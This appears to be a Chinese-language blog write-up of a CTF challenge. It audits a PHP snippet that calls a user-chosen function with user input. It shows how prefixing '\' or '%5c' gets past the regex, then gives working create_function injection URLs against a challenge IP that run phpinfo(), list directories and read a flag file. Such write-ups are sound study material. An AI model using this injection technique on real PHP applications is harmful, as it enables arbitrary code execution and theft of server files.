Code-Breaking Puzzles easy - function（匿名函数利用）

我不是女神ヾ 2022-02-03 16:39 113阅读 0赞

**题目地址：[http://120.78.164.84:49001/][http_120.78.164.84_49001]**

<?php
    $action = $_GET['action'] ?? '';
    $arg = $_GET['arg'] ?? '';
    
    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
        show_source(__FILE__);
    } else {
        $action('', $arg);
    }

**我们来审计下这个代码：**

**1，看到 $action('',$arg) 这里有两个参数，可以想到create\_function()匿名函数代码注入。**

**2，这里还有一个正则需要绕过，不过这个正则很容易知道只要我们在开头或者结尾加入其他字符就可以绕过了。至于是什么字符，用bp来fuzz一波就可以知道是%5c。**

http://120.78.164.84:49001/?action=%5ccreate_function&arg=2;}phpinfo();/*

**3，实际上不用%5c，加一个 \\ 也能执行，这里涉及到了php的全局命名空间，\\create\_function就是调用全局的create\_function函数。**

**[https://blog.csdn.net/dyw\_666666/article/details/90042852][https_blog.csdn.net_dyw_666666_article_details_90042852]**

**[![20181215175719-cf670570-004f-1.png][]][20181215175719-cf670570-004f-1.png]**

**看一下手册中的例子就大概知道是什么意思了。**

[![20181215195500-4007efe6-0060-1.png][]][20181215195500-4007efe6-0060-1.png]

http://120.78.164.84:49001/?action=\create_function&arg=2;}phpinfo();/*

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70][]

**最终Payload：**

http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(scandir(%27../%27));/*
    http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 1][]

[http_120.78.164.84_49001]: http://120.78.164.84:49001/
[https_blog.csdn.net_dyw_666666_article_details_90042852]: https://blog.csdn.net/dyw_666666/article/details/90042852
[20181215175719-cf670570-004f-1.png]: /images/20220203/a3f25099e5874b5284aa4aef0ee5cb31.png
[20181215195500-4007efe6-0060-1.png]: /images/20220203/8d189a56c003400caf32d8a6d069fc79.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70]: /images/20220203/1f57cdd5528441358b3b0292c09f8f7f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 1]: /images/20220203/519038b63b774d43a06a78accdea94fa.png